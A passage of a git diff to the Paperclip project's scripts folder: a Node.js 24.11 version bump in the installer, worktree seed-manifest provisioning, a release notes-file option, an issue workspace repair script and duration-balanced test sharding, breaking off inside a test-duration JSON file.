 # Env knobs:
diff --git a/scripts/generate-npm-package-json.mjs b/scripts/generate-npm-package-json.mjs
index 310d6e12779..a972dc3e940 100644
--- a/scripts/generate-npm-package-json.mjs
+++ b/scripts/generate-npm-package-json.mjs
@@ -110,7 +110,7 @@ const publishPkg = {
   homepage: cliPkg.homepage,
   bugs: cliPkg.bugs,
   files: cliPkg.files,
-  engines: { node: ">=20" },
+  engines: { node: ">=24.11.0" },
   dependencies: sortedDeps,
 };
 
diff --git a/scripts/install.sh b/scripts/install.sh
index 572f2f73c8c..7e6ea05fb4a 100755
--- a/scripts/install.sh
+++ b/scripts/install.sh
@@ -1,15 +1,18 @@
 #!/usr/bin/env bash
 set -euo pipefail
 
-MIN_NODE_MAJOR=20
-DEFAULT_NODE_MAJOR=22
+MIN_NODE_MAJOR=24
+MIN_NODE_MINOR=11
+MIN_NODE_PATCH=0
+MIN_NODE_VERSION="${MIN_NODE_MAJOR}.${MIN_NODE_MINOR}.${MIN_NODE_PATCH}"
+DEFAULT_NODE_MAJOR=24
 PAPERCLIP_PACKAGE="paperclipai"
 PUBLIC_NPM_REGISTRY="https://registry.npmjs.org"
 HOMEBREW_INSTALL_COMMIT="99e13e96cbbdc1ac1ac09c0a40b450bf219ef3aa"
 HOMEBREW_INSTALL_SHA256="99287f194a8b3c9e6b0203a11a5fa54518be57209343e6bb954dec4635796d9d"
 NODESOURCE_DISTRIBUTIONS_COMMIT="9b431d8ae0f10df272598585855c6eca6c0e1bd2"
-NODESOURCE_DEB_SHA256="575583bbac2fccc0b5edd0dbc03e222d9f9dc8d724da996d22754d6411104fd1"
-NODESOURCE_RPM_SHA256="b0ed2b9b66002e7ee802e8777cf3a92b25f1ecc0129812dc6f59a43a536810cc"
+NODESOURCE_DEB_SHA256="6e3d580f5bd7ccf2aa1e8df8d35c60d78e873c3ff8beb282c9bebd914904ad72"
+NODESOURCE_RPM_SHA256="5550ad302050f887377a0451e720b800466573ebc83392fea80924393dba642b"
 
 CANARY=0
 VERSION=""
@@ -190,19 +193,19 @@ esac
 
 log "Detected $OS_NAME/$ARCH_NAME"
 
-node_major() {
-  local version
+has_supported_node() {
+  local version major minor patch
+  command -v node >/dev/null 2>&1 || return 1
   version="$(node --version 2>/dev/null || true)"
   version="${version#v}"
-  printf '%s' "${version%%.*}"
-}
-
-has_supported_node() {
-  local major
-  command -v node >/dev/null 2>&1 || return 1
-  major="$(node_major)"
-  [[ "$major" =~ ^[0-9]+$ ]] || return 1
-  [ "$major" -ge "$MIN_NODE_MAJOR" ] || return 1
+  IFS=. read -r major minor patch <<< "$version"
+  patch="${patch%%-*}"
+  [[ "$major" =~ ^[0-9]+$ && "$minor" =~ ^[0-9]+$ && "$patch" =~ ^[0-9]+$ ]] || return 1
+  if [ "$major" -lt "$MIN_NODE_MAJOR" ] ||
+    { [ "$major" -eq "$MIN_NODE_MAJOR" ] && [ "$minor" -lt "$MIN_NODE_MINOR" ]; } ||
+    { [ "$major" -eq "$MIN_NODE_MAJOR" ] && [ "$minor" -eq "$MIN_NODE_MINOR" ] && [ "$patch" -lt "$MIN_NODE_PATCH" ]; }; then
+    return 1
+  fi
   command -v npm >/dev/null 2>&1 || return 1
   command -v npx >/dev/null 2>&1 || return 1
 }
@@ -339,7 +342,7 @@ if has_supported_node; then
   log "Using Node.js $(node --version)"
 else
   if command -v node >/dev/null 2>&1; then
-    log "Node.js $(node --version 2>/dev/null || printf unknown) is too old; Node.js >= $MIN_NODE_MAJOR is required"
+    log "Node.js $(node --version 2>/dev/null || printf unknown) is too old; Node.js >= $MIN_NODE_VERSION is required"
   else
     log "Node.js was not found"
   fi
@@ -353,7 +356,7 @@ else
   else
     install_node_linux
   fi
-  has_supported_node || fail "Node.js installation finished, but Node.js >= $MIN_NODE_MAJOR with npm/npx is not available"
+  has_supported_node || fail "Node.js installation finished, but Node.js >= $MIN_NODE_VERSION with npm/npx is not available"
   log "Installed Node.js $(node --version)"
 fi
 
diff --git a/scripts/provision-worktree-runtime.sh b/scripts/provision-worktree-runtime.sh
index 539713fa096..a6d925918a9 100755
--- a/scripts/provision-worktree-runtime.sh
+++ b/scripts/provision-worktree-runtime.sh
@@ -1,4 +1,5 @@
 #!/usr/bin/env bash
+# Keep this script compatible with macOS's system Bash 3.2.
 set -euo pipefail
 
 base_cwd="${PAPERCLIP_WORKSPACE_BASE_CWD:?PAPERCLIP_WORKSPACE_BASE_CWD is required}"
@@ -7,8 +8,7 @@ paperclip_home="${PAPERCLIP_HOME:-$HOME/.paperclip}"
 paperclip_instance_id="${PAPERCLIP_INSTANCE_ID:-default}"
 paperclip_dir="$worktree_cwd/.paperclip"
 worktree_config_path="$paperclip_dir/config.json"
-seed_pending_marker_path="$paperclip_dir/seed-pending"
-seed_complete_marker_path="$paperclip_dir/seed-complete"
+seed_manifest_path="$paperclip_dir/seed-manifest.json"
 
 if [[ ! -d "$base_cwd" ]]; then
   echo "Base workspace does not exist: $base_cwd" >&2
@@ -20,29 +20,73 @@ if [[ ! -d "$worktree_cwd" ]]; then
   exit 1
 fi
 
-if [[ -e "$seed_complete_marker_path" || ! -e "$seed_pending_marker_path" ]]; then
-  echo "Worktree database is already seeded; skipping runtime provisioning." >&2
-  exit 0
+if [[ -e "$seed_manifest_path" ]]; then
+  seed_manifest_state="$(SEED_MANIFEST_PATH="$seed_manifest_path" node <<'EOF'
+const fs = require("node:fs");
+try {
+  const value = JSON.parse(fs.readFileSync(process.env.SEED_MANIFEST_PATH, "utf8"));
+  const complete = value?.version === 2
+    && value?.state === "verified"
+    && value?.phase === "complete"
+    && typeof value?.source?.instanceId === "string" && value.source.instanceId.length > 0
+    && typeof value?.source?.configPath === "string" && value.source.configPath.length > 0
+    && (value?.seedMode === "minimal" || value?.seedMode === "full")
+    && typeof value?.snapshotAt === "string" && value.snapshotAt.length > 0
+    && typeof value?.migrationRevision === "string" && value.migrationRevision.length > 0
+    && typeof value?.targetInstanceId === "string" && value.targetInstanceId.length > 0
+    && typeof value?.attemptId === "string" && value.attemptId.length > 0
+    && typeof value?.startedAt === "string"
+    && typeof value?.finishedAt === "string"
+    && Array.isArray(value?.diagnostics)
+    && value.diagnostics.some((entry) => entry?.phase === "complete" && entry?.status === "succeeded" && typeof entry?.at === "string");
+  process.stdout.write(complete ? "verified" : "incomplete");
+} catch {
+  process.stdout.write("invalid");
+}
+EOF
+)"
+  if [[ "$seed_manifest_state" == "verified" ]]; then
+    echo "Worktree database has a verified seed manifest; skipping runtime provisioning." >&2
+    exit 0
+  fi
 fi
 
 if [[ ! -f "$worktree_config_path" ]]; then
-  echo "Worktree config does not exist: $worktree_config_path" >&2
+  initial_provision_script="$base_cwd/scripts/provision-worktree.sh"
+  if [[ ! -f "$initial_provision_script" ]]; then
+    echo "Worktree config does not exist and the built-in provision script is unavailable: $worktree_config_path" >&2
+    exit 1
+  fi
+  echo "Worktree config is missing; running the built-in worktree provisioner before database seeding." >&2
+  (
+    cd "$worktree_cwd" &&
+      bash "$initial_provision_script"
+  )
+fi
+
+if [[ ! -f "$worktree_config_path" ]]; then
+  echo "Worktree config still does not exist after built-in provisioning: $worktree_config_path" >&2
   exit 1
 fi
 
-source_config_path="${PAPERCLIP_CONFIG:-}"
-if [[ -z "$source_config_path" && ( -e "$base_cwd/.paperclip/config.json" || -L "$base_cwd/.paperclip/config.json" ) ]]; then
-  source_config_path="$base_cwd/.paperclip/config.json"
+# The CLI derives the source from PAPERCLIP_WORKSPACE_BASE_CWD, which the control
+# plane injects from the registered project-workspace row. A base workspace that is
+# a plain checkout carries no instance config of its own, so name the control plane's
+# own registered instance config explicitly. The seed manifest stays diagnostic
+# evidence only and must never choose the clone source.
+if [[ -L "$base_cwd/.paperclip" && ! -d "$base_cwd/.paperclip" ]]; then
+  echo "Registered base project workspace .paperclip is a broken symlink: $base_cwd/.paperclip" >&2
+  exit 1
 fi
-if [[ -z "$source_config_path" ]]; then
-  source_config_path="$paperclip_home/instances/$paperclip_instance_id/config.json"
-fi
-source_config_args=(--from-config "$source_config_path")
-if [[ "$source_config_path" == "$worktree_config_path" ]]; then
+source_config_args=()
+if [[ ! -e "$base_cwd/.paperclip/config.json" && ! -L "$base_cwd/.paperclip/config.json" ]]; then
+  source_config_path="${PAPERCLIP_CONFIG:-$paperclip_home/instances/$paperclip_instance_id/config.json}"
   # A human may invoke this after sourcing `worktree env`, which points
-  # PAPERCLIP_CONFIG at the target. In that case the CLI reads the original
-  # source config from the seed-pending marker instead.
-  source_config_args=()
+  # PAPERCLIP_CONFIG at the target. Naming the target as its own source is never
+  # right, so leave the source to the CLI in that case.
+  if [[ "$source_config_path" != "$worktree_config_path" ]]; then
+    source_config_args=(--from-config "$source_config_path")
+  fi
 fi
 
 base_cli_runner_path="$base_cwd/cli/node_modules/tsx/dist/cli.mjs"
@@ -96,7 +140,7 @@ run_ensure_seeded() {
   if ensure_base_cli_healthy; then
     (
       cd "$worktree_cwd" &&
-        node "$base_cli_runner_path" "$base_cli_entry_path" worktree ensure-seeded --config "$worktree_config_path" "${source_config_args[@]}"
+        node "$base_cli_runner_path" "$base_cli_entry_path" worktree ensure-seeded --config "$worktree_config_path" ${source_config_args[@]+"${source_config_args[@]}"}
     )
     return
   fi
@@ -104,7 +148,7 @@ run_ensure_seeded() {
   if command -v pnpm >/dev/null 2>&1 && pnpm paperclipai --help >/dev/null 2>&1; then
     (
       cd "$worktree_cwd" &&
-        pnpm paperclipai worktree ensure-seeded --config "$worktree_config_path" "${source_config_args[@]}"
+        pnpm paperclipai worktree ensure-seeded --config "$worktree_config_path" ${source_config_args[@]+"${source_config_args[@]}"}
     )
     return
   fi
@@ -112,7 +156,7 @@ run_ensure_seeded() {
   if command -v paperclipai >/dev/null 2>&1; then
     (
       cd "$worktree_cwd" &&
-        paperclipai worktree ensure-seeded --config "$worktree_config_path" "${source_config_args[@]}"
+        paperclipai worktree ensure-seeded --config "$worktree_config_path" ${source_config_args[@]+"${source_config_args[@]}"}
     )
     return
   fi
diff --git a/scripts/provision-worktree.sh b/scripts/provision-worktree.sh
index b5b283a1343..d25f6a66724 100644
--- a/scripts/provision-worktree.sh
+++ b/scripts/provision-worktree.sh
@@ -8,6 +8,7 @@ paperclip_instance_id="${PAPERCLIP_INSTANCE_ID:-default}"
 paperclip_dir="$worktree_cwd/.paperclip"
 worktree_config_path="$paperclip_dir/config.json"
 worktree_env_path="$paperclip_dir/.env"
+seed_manifest_path="$paperclip_dir/seed-manifest.json"
 seed_pending_marker_path="$paperclip_dir/seed-pending"
 seed_complete_marker_path="$paperclip_dir/seed-complete"
 worktree_name="${PAPERCLIP_WORKSPACE_BRANCH:-$(basename "$worktree_cwd")}"
@@ -39,12 +40,28 @@ if [[ ! -d "$worktree_cwd" ]]; then
   exit 1
 fi
 
-source_config_path="${PAPERCLIP_CONFIG:-}"
-if [[ -z "$source_config_path" && ( -e "$base_cwd/.paperclip/config.json" || -L "$base_cwd/.paperclip/config.json" ) ]]; then
-  source_config_path="$base_cwd/.paperclip/config.json"
+canonical_base_cwd="$(cd "$base_cwd" && pwd -P)"
+if [[ -L "$canonical_base_cwd/.paperclip" && ! -d "$canonical_base_cwd/.paperclip" ]]; then
+  # A broken link hides whatever it points at, so the config below would read as absent
+  # on a workspace that is malformed rather than plain. Refuse instead of falling back.
+  echo "Registered base project workspace .paperclip is a broken symlink: $canonical_base_cwd/.paperclip" >&2
+  exit 1
 fi
-if [[ -z "$source_config_path" ]]; then
-  source_config_path="$paperclip_home/instances/$paperclip_instance_id/config.json"
+source_config_path="$canonical_base_cwd/.paperclip/config.json"
+if [[ ! -e "$source_config_path" && ! -L "$source_config_path" ]]; then
+  # A base workspace that is a plain checkout carries no instance config of its own.
+  # Fall back to the control plane's own registered instance config, which is process
+  # state this workspace cannot rewrite.
+  source_config_path="${PAPERCLIP_CONFIG:-$paperclip_home/instances/$paperclip_instance_id/config.json}"
+fi
+if [[ ! -f "$source_config_path" || -L "$source_config_path" ]]; then
+  echo "Registered Paperclip seed source config is missing or is not a canonical file: $source_config_path" >&2
+  exit 1
+fi
+canonical_source_dir="$(cd "$(dirname "$source_config_path")" && pwd -P)"
+if [[ "$canonical_source_dir/config.json" != "$source_config_path" ]]; then
+  echo "Registered Paperclip seed source config uses a symlink alias: $source_config_path" >&2
+  exit 1
 fi
 source_env_path="$(dirname "$source_config_path")/.env"
 
@@ -237,25 +254,93 @@ for (const rawValue of runtimePaths) {
 EOF
 }
 
-write_seed_pending_marker() {
-  SEED_PENDING_MARKER_PATH="$seed_pending_marker_path" \
-  SEED_COMPLETE_MARKER_PATH="$seed_complete_marker_path" \
+reconcile_worktree_deployment_mode() {
   SOURCE_CONFIG_PATH="$source_config_path" \
+  WORKTREE_CONFIG_PATH="$worktree_config_path" \
   node <<'EOF'
 const fs = require("node:fs");
 const path = require("node:path");
 
+const sourceConfigPath = path.resolve(process.env.SOURCE_CONFIG_PATH);
+const worktreeConfigPath = path.resolve(process.env.WORKTREE_CONFIG_PATH);
+const sourceConfig = JSON.parse(fs.readFileSync(sourceConfigPath, "utf8"));
+const worktreeConfig = JSON.parse(fs.readFileSync(worktreeConfigPath, "utf8"));
+const deploymentMode = sourceConfig?.server?.deploymentMode ?? "local_trusted";
+if (deploymentMode !== "local_trusted" && deploymentMode !== "authenticated") {
+  throw new Error(`Registered source has unsupported server.deploymentMode: ${deploymentMode}`);
+}
+const exposure = deploymentMode === "local_trusted"
+  ? "private"
+  : (sourceConfig?.server?.exposure ?? "private");
+const currentServer = worktreeConfig?.server && typeof worktreeConfig.server === "object"
+  ? worktreeConfig.server
+  : {};
+if (currentServer.deploymentMode === deploymentMode && currentServer.exposure === exposure) {
+  process.exit(0);
+}
+
+worktreeConfig.server = {
+  ...currentServer,
+  deploymentMode,
+  exposure,
+};
+if (worktreeConfig.$meta && typeof worktreeConfig.$meta === "object") {
+  worktreeConfig.$meta.updatedAt = new Date().toISOString();
+}
+
+const temporaryPath = `${worktreeConfigPath}.deployment-mode-${process.pid}`;
+try {
+  fs.writeFileSync(temporaryPath, `${JSON.stringify(worktreeConfig, null, 2)}\n`, { mode: 0o600 });
+  fs.renameSync(temporaryPath, worktreeConfigPath);
+} finally {
+  fs.rmSync(temporaryPath, { force: true });
+}
+console.error(`Reconciled isolated Paperclip worktree deployment mode from ${sourceConfigPath}: ${deploymentMode}/${exposure}`);
+EOF
+}
+
+write_seed_pending_manifest() {
+  SEED_MANIFEST_PATH="$seed_manifest_path" \
+  SEED_PENDING_MARKER_PATH="$seed_pending_marker_path" \
+  SEED_COMPLETE_MARKER_PATH="$seed_complete_marker_path" \
+  SOURCE_CONFIG_PATH="$source_config_path" \
+  TARGET_INSTANCE_ID="$worktree_instance_id" \
+  node <<'EOF'
+const crypto = require("node:crypto");
+const fs = require("node:fs");
+const path = require("node:path");
+
+const manifestPath = process.env.SEED_MANIFEST_PATH;
 const pendingPath = process.env.SEED_PENDING_MARKER_PATH;
 const completePath = process.env.SEED_COMPLETE_MARKER_PATH;
+const sourceConfigPath = path.resolve(process.env.SOURCE_CONFIG_PATH);
+const sourceEnvPath = path.join(path.dirname(sourceConfigPath), ".env");
+let sourceInstanceId = path.basename(path.dirname(sourceConfigPath));
+if (fs.existsSync(sourceEnvPath)) {
+  const match = fs.readFileSync(sourceEnvPath, "utf8").match(/^\s*(?:export\s+)?PAPERCLIP_INSTANCE_ID\s*=\s*["']?([^\s"'#]+)["']?/m);
+  if (match?.[1]) sourceInstanceId = match[1];
+}
 fs.rmSync(completePath, { force: true });
+fs.rmSync(pendingPath, { force: true });
+const at = new Date().toISOString();
 fs.writeFileSync(
-  pendingPath,
+  manifestPath,
   `${JSON.stringify({
-    version: 1,
-    state: "pending",
-    sourceConfigPath: path.resolve(process.env.SOURCE_CONFIG_PATH),
+    version: 2,
+    source: {
+      instanceId: sourceInstanceId,
+      configPath: sourceConfigPath,
+    },
+    snapshotAt: null,
     seedMode: "minimal",
-    createdAt: new Date().toISOString(),
+    migrationRevision: null,
+    targetInstanceId: process.env.TARGET_INSTANCE_ID,
+    phase: "pending",
+    state: "pending",
+    attemptId: crypto.randomUUID(),
+    startedAt: null,
+    finishedAt: null,
+    diagnostics: [{ phase: "pending", status: "succeeded", at }],
   }, null, 2)}\n`,
   { mode: 0o600 },
 );
@@ -551,8 +636,14 @@ else
   created_worktree_config=1
 fi
 
-if [[ "$created_worktree_config" -eq 1 && ! -e "$seed_pending_marker_path" && ! -e "$seed_complete_marker_path" ]]; then
-  write_seed_pending_marker
+# The target config can predate a deployment-mode change on the registered
+# source, and older/fallback CLI writers may default this field independently.
+# Reconcile it after either create or reuse so the final guest config always
+# carries the source's deployment/auth contract without replacing its database.
+reconcile_worktree_deployment_mode
+
+if [[ "$created_worktree_config" -eq 1 && ! -e "$seed_manifest_path" && ! -e "$seed_pending_marker_path" && ! -e "$seed_complete_marker_path" ]]; then
+  write_seed_pending_manifest
 fi
 
 list_base_node_modules_paths() {
diff --git a/scripts/release-package-manifest.json b/scripts/release-package-manifest.json
index cd061d627ef..b13049d2bd1 100644
--- a/scripts/release-package-manifest.json
+++ b/scripts/release-package-manifest.json
@@ -44,6 +44,11 @@
     "name": "@paperclipai/adapter-hermes-gateway",
     "publishFromCi": false
   },
+  {
+    "dir": "packages/adapters/kimi-local",
+    "name": "@paperclipai/adapter-kimi-local",
+    "publishFromCi": true
+  },
   {
     "dir": "packages/adapters/opencode-local",
     "name": "@paperclipai/adapter-opencode-local",
diff --git a/scripts/release.sh b/scripts/release.sh
index 5d51aab69a7..9c94f467e6d 100755
--- a/scripts/release.sh
+++ b/scripts/release.sh
@@ -12,6 +12,7 @@ dry_run=false
 skip_verify=false
 print_version_only=false
 from_candidate=false
+notes_file_override=
 tag_name=""
 
 cleanup_on_exit=false
@@ -19,7 +20,7 @@ cleanup_on_exit=false
 usage() {
   cat <<'EOF'
 Usage:
-  ./scripts/release.sh <canary|nightly|beta|stable> [--date YYYY-MM-DD] [--dry-run] [--skip-verify] [--print-version]
+  ./scripts/release.sh <canary|nightly|beta|stable> [--date YYYY-MM-DD] [--dry-run] [--skip-verify] [--print-version] [--notes-file PATH]
 
 Examples:
   ./scripts/release.sh canary
@@ -48,7 +49,10 @@ Notes:
     validating the candidate branch before using it.
   - Stable releases publish YYYY.MDD.P under the npm dist-tag "latest" and
     create the git tag vYYYY.MDD.P.
-  - Non-dry-run stable release notes must already exist at releases/vYYYY.MDD.P.md.
+  - Non-dry-run stable release notes must already exist at releases/vYYYY.MDD.P.md,
+    or be supplied explicitly with --notes-file (stable only). The override
+    exists so promotions can read notes maintained on master instead of
+    requiring them inside the promoted source commit's tree.
   - The script rewrites versions temporarily and restores the working tree on
     exit. Tags always point at the original source commit, not a generated
     release commit.
@@ -114,6 +118,11 @@ while [ $# -gt 0 ]; do
     --skip-verify) skip_verify=true ;;
     --print-version) print_version_only=true ;;
     --from-candidate) from_candidate=true ;;
+    --notes-file)
+      shift
+      [ $# -gt 0 ] || release_fail "--notes-file requires a path."
+      notes_file_override="$1"
+      ;;
     -h|--help)
       usage
       exit 0
@@ -134,6 +143,10 @@ if [ "$from_candidate" = true ] && [ "$channel" != "beta" ]; then
   release_fail "--from-candidate only applies to the beta channel."
 fi
 
+if [ -n "$notes_file_override" ] && [ "$channel" != "stable" ]; then
+  release_fail "--notes-file only applies to the stable channel."
+fi
+
 PUBLISH_REMOTE="$(resolve_release_remote)"
 fetch_release_remote "$PUBLISH_REMOTE"
 
@@ -203,6 +216,9 @@ if [ "$print_version_only" = true ]; then
 fi
 
 NOTES_FILE="$(release_notes_file "$TARGET_STABLE_VERSION")"
+if [ -n "$notes_file_override" ]; then
+  NOTES_FILE="$notes_file_override"
+fi
 
 require_clean_worktree
 require_npm_publish_auth "$dry_run"
diff --git a/scripts/repair-pr-prep-workspace-attachment.mjs b/scripts/repair-pr-prep-workspace-attachment.mjs
new file mode 100644
index 00000000000..b442b80d32e
--- /dev/null
+++ b/scripts/repair-pr-prep-workspace-attachment.mjs
@@ -0,0 +1,87 @@
+#!/usr/bin/env node
+// Bounded repair for PR-preparation issues stranded on a shared or stale
+// execution-workspace binding (PAP-17617). For each explicit issue=branch
+// pair, this pins the issue's executionWorkspaceSettings to the exact-branch
+// isolated-worktree contract:
+//   { mode: "isolated_workspace",
+//     workspaceStrategy: { type: "git_worktree", existingBranch: "<branch>" } }
+// Dispatch then attaches a git worktree on exactly that branch and ignores a
+// mismatched inherited reuse_existing binding. The script only PATCHes issues
+// through the company-scoped API; it never runs git and never mutates or
+// deletes any branch.
+//
+// Usage:
+//   node scripts/repair-pr-prep-workspace-attachment.mjs PAP-16555=PAP-14380-salvage-pap-9514 [more ISSUE=BRANCH ...] [--apply]
+//
+// Without --apply it reports the current binding and the patch it would send.
+// Requires PAPERCLIP_API_URL and PAPERCLIP_API_KEY in the environment.
+
+const args = process.argv.slice(2);
+const apply = args.includes("--apply");
+const pairs = args.filter((arg) => !arg.startsWith("--")).map((arg) => {
+  const separator = arg.indexOf("=");
+  if (separator <= 0 || separator === arg.length - 1) {
+    console.error(`Expected ISSUE=BRANCH, got "${arg}"`);
+    process.exit(1);
+  }
+  return { issue: arg.slice(0, separator), branch: arg.slice(separator + 1) };
+});
+if (pairs.length === 0) {
+  console.error("No ISSUE=BRANCH pairs given. Nothing to repair.");
+  process.exit(1);
+}
+
+const apiUrl = process.env.PAPERCLIP_API_URL;
+const apiKey = process.env.PAPERCLIP_API_KEY;
+if (!apiUrl || !apiKey) {
+  console.error("PAPERCLIP_API_URL and PAPERCLIP_API_KEY are required.");
+  process.exit(1);
+}
+const apiBase = apiUrl.replace(/\/$/, "").replace(/\/api$/, "");
+const headers = {
+  Authorization: `Bearer ${apiKey}`,
+  "Content-Type": "application/json",
+  ...(process.env.PAPERCLIP_RUN_ID ? { "X-Paperclip-Run-Id": process.env.PAPERCLIP_RUN_ID } : {}),
+};
+
+let failed = false;
+for (const { issue, branch } of pairs) {
+  const current = await fetch(`${apiBase}/api/issues/${issue}`, { headers });
+  if (!current.ok) {
+    console.error(`${issue}: fetch failed (${current.status})`);
+    failed = true;
+    continue;
+  }
+  const existing = await current.json();
+  const settings = {
+    mode: "isolated_workspace",
+    workspaceStrategy: { type: "git_worktree", existingBranch: branch },
+  };
+  console.log(
+    `${issue}: status=${existing.status} preference=${existing.executionWorkspacePreference ?? "null"} ` +
+      `workspace=${existing.executionWorkspaceId ?? "null"} settings=${JSON.stringify(existing.executionWorkspaceSettings)}`,
+  );
+  if (!apply) {
+    console.log(`${issue}: would PATCH executionWorkspaceSettings=${JSON.stringify(settings)}`);
+    continue;
+  }
+  const response = await fetch(`${apiBase}/api/issues/${issue}`, {
+    method: "PATCH",
+    headers,
+    body: JSON.stringify({
+      executionWorkspaceSettings: settings,
+      comment:
+        `Repair for PAP-17617/PAP-17618: pinned this PR-preparation task to an isolated git worktree on the exact ` +
+        `existing branch \`${branch}\` via workspaceStrategy.existingBranch. Dispatch will attach that branch ` +
+        `(never create or reset it) and will not reuse the stale inherited workspace binding.`,
+    }),
+  });
+  const body = await response.text();
+  if (!response.ok) {
+    console.error(`${issue}: PATCH failed (${response.status}): ${body.slice(0, 500)}`);
+    failed = true;
+    continue;
+  }
+  console.log(`${issue}: PATCHED — executionWorkspaceSettings now pins existingBranch=${branch}`);
+}
+process.exit(failed ? 1 : 0);
diff --git a/scripts/run-vitest-stable.mjs b/scripts/run-vitest-stable.mjs
index b77c9d8a388..e77a94c30cc 100644
--- a/scripts/run-vitest-stable.mjs
+++ b/scripts/run-vitest-stable.mjs
@@ -11,6 +11,9 @@ const scriptsDir = path.dirname(fileURLToPath(import.meta.url));
 const generalServerShardDurations = loadShardDurations(
   path.join(scriptsDir, "general-server-shard-durations.json"),
 );
+const serializedShardDurations = loadShardDurations(
+  path.join(scriptsDir, "serialized-shard-durations.json"),
+);
 const serverRoot = path.join(repoRoot, "server");
 const serverSrcDir = path.join(repoRoot, "server", "src");
 const serverTestsDir = path.join(repoRoot, "server", "src", "__tests__");
@@ -70,6 +73,7 @@ const serializedServerVitestArgs = [
   "--no-file-parallelism",
   "--maxWorkers=1",
 ];
+const sourceOnlyVitestArgs = ["--exclude", "**/dist/**"];
 
 function walk(dir) {
   const entries = readdirSync(dir);
@@ -251,7 +255,18 @@ function parseCliOptions(argv) {
 }
 
 function selectSerializedSuites(routeTests, shardIndex, shardCount) {
-  return routeTests.filter((_, index) => index % shardCount === shardIndex);
+  // Same duration-aware LPT partition as the general-server lane. Round-robin
+  // over the alphabetical list clustered the heavy heartbeat/issues suites on
+  // one shard (291s vs 170-201s test steps across the matrix in actions run
+  // 32012408876), which made that shard the whole PR run's slowest check.
+  const byRepoPath = new Map(routeTests.map((routeTest) => [routeTest.repoPath, routeTest]));
+  const shardFiles = selectGeneralServerShard(
+    routeTests.map((routeTest) => routeTest.repoPath),
+    shardIndex,
+    shardCount,
+    serializedShardDurations,
+  );
+  return shardFiles.map((file) => byRepoPath.get(file));
 }
 
 function runVitest(args, label) {
@@ -269,7 +284,7 @@ function runVitest(args, label) {
   };
   mkdirSync(env.PAPERCLIP_HOME, { recursive: true });
   mkdirSync(env.TMPDIR, { recursive: true });
-  const result = spawnSync("pnpm", ["exec", "vitest", "run", ...args], {
+  const result = spawnSync("pnpm", ["exec", "vitest", "run", ...sourceOnlyVitestArgs, ...args], {
     cwd: repoRoot,
     env,
     stdio: "inherit",
diff --git a/scripts/serialized-shard-durations.json b/scripts/serialized-shard-durations.json
new file mode 100644
index 00000000000..4e6fe71ee74
--- /dev/null
+++ b/scripts/serialized-shard-durations.json
@@ -0,0 +1,140 @@
+{
+  "$comment": "Per-suite wall-clock durations (ms) for the serialized route/authz vitest lane, used by scripts/run-vitest-stable.mjs to balance suites across the PR shard matrix. Sampled from a real PR run of .github/workflows/pr.yml (actions run 32012408876, 2026-08-17) by diffing consecutive '[test:run] <suite>' label timestamps in the 'Run serialized server test shard' logs - that captures each suite's true serial cost including the per-suite vitest spawn overhead, not just the vitest-reported test time. Suites missing here get the median weight, so the manifest only needs occasional refreshes.",
+  "unit": "ms",
+  "durations": {
+    "server/src/__tests__/access-routes-permissions-upgrade.test.ts": 11105,
+    "server/src/__tests__/activity-routes.test.ts": 3181,
+    "server/src/__tests__/adapter-model-refresh-routes.test.ts": 3934,
+    "server/src/__tests__/adapter-routes-authz.test.ts": 4391,
+    "server/src/__tests__/adapter-routes.test.ts": 5343,
+    "server/src/__tests__/agent-action-audit-routes.test.ts": 11458,
+    "server/src/__tests__/agent-adapter-validation-routes.test.ts": 5758,
+    "server/src/__tests__/agent-cross-tenant-authz-routes.test.ts": 3818,
+    "server/src/__tests__/agent-device-login-routes.test.ts": 6486,
+    "server/src/__tests__/agent-instructions-routes.test.ts": 5532,
+    "server/src/__tests__/agent-live-run-routes.test.ts": 5498,
+    "server/src/__tests__/agent-permissions-routes.test.ts": 8978,
+    "server/src/__tests__/agent-secrets-routes.test.ts": 11780,
+    "server/src/__tests__/agent-skills-routes.test.ts": 7404,
+    "server/src/__tests__/agent-test-environment-routes.test.ts": 5845,
+    "server/src/__tests__/approval-routes-idempotency.test.ts": 6142,
+    "server/src/__tests__/assets.test.ts": 3555,
+    "server/src/__tests__/auth-routes.test.ts": 2094,
+    "server/src/__tests__/auth-session-route.test.ts": 3070,
+    "server/src/__tests__/authz-company-access.test.ts": 2893,
+    "server/src/__tests__/authz-existence-oracle-guard.test.ts": 1121,
+    "server/src/__tests__/authz-secret-context.test.ts": 2398,
+    "server/src/__tests__/board-chat-route-feature-flag.test.ts": 1032,
+    "server/src/__tests__/bootstrap-claim-routes.test.ts": 4748,
+    "server/src/__tests__/built-in-agent-routes.test.ts": 4015,
+    "server/src/__tests__/cases-routes.test.ts": 12174,
+    "server/src/__tests__/cli-auth-routes.test.ts": 5228,
+    "server/src/__tests__/cloud-routes.test.ts": 2146,
+    "server/src/__tests__/companies-route-cross-company-authz.test.ts": 4314,
+    "server/src/__tests__/companies-route-path-guard.test.ts": 3004,
+    "server/src/__tests__/company-branding-route.test.ts": 3920,
+    "server/src/__tests__/company-import-transfer-routes.test.ts": 8905,
+    "server/src/__tests__/company-portability-routes.test.ts": 3034,
+    "server/src/__tests__/company-portability.test.ts": 4800,
+    "server/src/__tests__/company-search-extract-routes.test.ts": 7621,
+    "server/src/__tests__/company-search-rate-limit-routes.test.ts": 7587,
+    "server/src/__tests__/company-skill-policy-routes.test.ts": 6894,
+    "server/src/__tests__/company-skills-import-authz-routes.test.ts": 12068,
+    "server/src/__tests__/company-skills-routes.test.ts": 7484,
+    "server/src/__tests__/company-user-directory-route.test.ts": 4728,
+    "server/src/__tests__/costs-service.test.ts": 8319,
+    "server/src/__tests__/decision-queues-routes.test.ts": 6956,
+    "server/src/__tests__/document-annotation-routes.test.ts": 4375,
+    "server/src/__tests__/environment-custom-image-routes.test.ts": 4387,
+    "server/src/__tests__/environment-instance-routes.test.ts": 4527,
+    "server/src/__tests__/environment-routes.test.ts": 4780,
+    "server/src/__tests__/environment-selection-route-guards.test.ts": 4208,
+    "server/src/__tests__/execution-workspaces-routes.test.ts": 3450,
+    "server/src/__tests__/express5-auth-wildcard.test.ts": 1105,
+    "server/src/__tests__/external-object-routes.test.ts": 6231,
+    "server/src/__tests__/folders-routes.test.ts": 2802,
+    "server/src/__tests__/health-dev-server-token.test.ts": 2541,
+    "server/src/__tests__/health.test.ts": 2090,
+    "server/src/__tests__/heartbeat-dependency-scheduling.test.ts": 14289,
+    "server/src/__tests__/heartbeat-issue-liveness-escalation.test.ts": 13747,
+    "server/src/__tests__/heartbeat-process-recovery.test.ts": 55336,
+    "server/src/__tests__/inbox-agent-policy-routes.test.ts": 10057,
